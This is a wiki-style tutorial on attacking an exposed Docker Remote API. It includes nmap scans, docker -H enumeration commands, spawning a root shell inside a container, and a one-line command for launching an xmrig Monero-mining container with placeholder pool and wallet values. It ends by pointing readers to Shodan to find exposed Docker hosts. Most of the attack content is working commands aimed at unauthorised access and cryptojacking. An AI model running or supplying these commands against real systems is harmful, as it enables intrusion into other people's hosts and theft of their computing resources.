====== Docker - Security - Attack Docker exposed API ======
If you have enabled Docker Remote API, per [[Docker:Enable Docker Remote API|Enable Docker Remote API]], you may be vulnerable to attacks.
----
Information Gathering & Enumeration
===== Do a port scan =====
sudo nmap -sS -T5 192.168.1.118 -p-Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-11 12:37 CEST
Nmap scan report for 192.168.1.118
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT STATE SERVICE
22/tcp open ssh
1234/tcp open docker
MAC Address: 0C:01:67:8A:63:F2 (Oracle VirtualBox virtual NIC)
I had to scan more ports that the default top 1000 because the docker API port is not included :(
Ok then, what about service detection?
nmap -sTV -p 1234 192.168.1.118
Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-11 12:43 CEST
Nmap scan report for 192.168.1.118
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
1234/tcp open 18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.65 seconds
This confirm that we are dealing with Docker.
nmap also discovered the exact version of Docker. If we want to confirm it manually we can issue a GET request to the endpoint located at: http://:1234/version.
curl -s http://192.168.1.118:1234/version | python -m json.tool
**NOTE:** Claudio Criscione wrote a nmap script to do this ([[https://github.com/paradoxengine|His GitHub page]]).
----
===== Test the exposed API using the docker CLI =====
docker -H 192.168.1.118:1234 info
----
==== Gather Information ====
Are there some containers running?
docker -H 192.168.1.118:1234 ps
----
Are there some stopped containers?
docker -H 192.168.1.118:1234 ps -a
----
What are the images pulled on the host machine?
docker -H 192.168.1.118:1234 images
----
===== Accessing the container =====
Spawn a bash shell:
docker -H 192.168.1.118:1234 exec -it /bin/bash
Check ownership:
whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
**NOTE:** Already root!!!
The default user inside a container is **root**.
Once inside a container you can start digging for some useful information.
----
===== Launching other containers =====
A funny thing that you can do is launch other containers, this is not very stealthy but can be useful.
Following the crypto-mining trend, this blog post explains how to mine monero with docker:
* https://getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html
You can have a look inside the Dockerfile at this link from DockerHub.
Easily you could launch a mining container with the following command:
docker -H 192.168.1.118:1234 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig -o POOL01 -o POOL02 -u WALLET -p PASSWORD -k
----
===== Find exposed Docker API =====
* https://www.shodan.io/
* Search for: **Product:"Docker"**